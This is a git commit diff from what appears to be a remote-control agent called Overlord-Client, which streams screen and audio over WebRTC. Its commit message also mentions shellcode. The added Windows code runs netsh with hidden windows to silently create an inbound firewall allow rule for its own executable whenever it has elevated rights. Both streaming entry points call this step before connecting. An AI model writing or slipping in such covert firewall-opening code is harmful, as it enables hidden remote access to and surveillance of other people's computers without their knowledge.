add firewall notification and fix GPU mode in shellcode

Overlord-Client/cmd/agent/webrtcpub/firewall_other.go

@@ -0,0 +1,5 @@
+//go:build !windows && overlord_webrtc
+
+package webrtcpub
+
+func ensureFirewallRule() {}

Overlord-Client/cmd/agent/webrtcpub/firewall_windows.go

@@ -0,0 +1,48 @@
+//go:build windows && overlord_webrtc
+
+package webrtcpub
+
+import (
+	"log"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"sync"
+	"syscall"
+
+	"golang.org/x/sys/windows"
+)
+
+const createNoWindowFlag = 0x08000000
+
+var firewallOnce sync.Once
+
+func ensureFirewallRule() {
+	firewallOnce.Do(func() {
+		if !windows.GetCurrentProcessToken().IsElevated() {
+			return
+		}
+		exe, err := os.Executable()
+		if err != nil {
+			return
+		}
+		if resolved, err := filepath.EvalSymlinks(exe); err == nil {
+			exe = resolved
+		}
+
+		ruleName := filepath.Base(exe)
+		hidden := &syscall.SysProcAttr{HideWindow: true, CreationFlags: createNoWindowFlag}
+
+		del := exec.Command("netsh", "advfirewall", "firewall", "delete", "rule",
+			"name="+ruleName, "program="+exe)
+		del.SysProcAttr = hidden
+		_ = del.Run()
+
+		add := exec.Command("netsh", "advfirewall", "firewall", "add", "rule",
+			"name="+ruleName, "dir=in", "action=allow", "program="+exe, "enable=yes")
+		add.SysProcAttr = hidden
+		if err := add.Run(); err != nil {
+			log.Printf("webrtcpub: firewall rule add failed: %v", err)
+		}
+	})
+}

Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go

@@ -41,6 +41,7 @@ func p2pSessionKey(kind Kind, sessionID string) string {
 // browser side decides via its transceivers what to ask for. Trickle ICE
 // candidates emitted by Pion are delivered to opts.OnICE.
 func StartP2POffer(ctx context.Context, kind Kind, sessionID string, offerSDP string, opts P2POfferCallbacks, hasVideo, hasAudio bool) (string, error) {
+	ensureFirewallRule()
 	_ = ctx
 	if sessionID == "" {
 		return "", errors.New("webrtcpub: empty sessionID")

Overlord-Client/cmd/agent/webrtcpub/whip_pion.go

@@ -66,6 +66,7 @@ var (
 )
 
 func Start(ctx context.Context, kind Kind, opts Options) (*Publisher, error) {
+	ensureFirewallRule()
 	if strings.TrimSpace(opts.WhipURL) == "" {
 		return nil, errors.New("webrtcpub: empty WhipURL")
 	}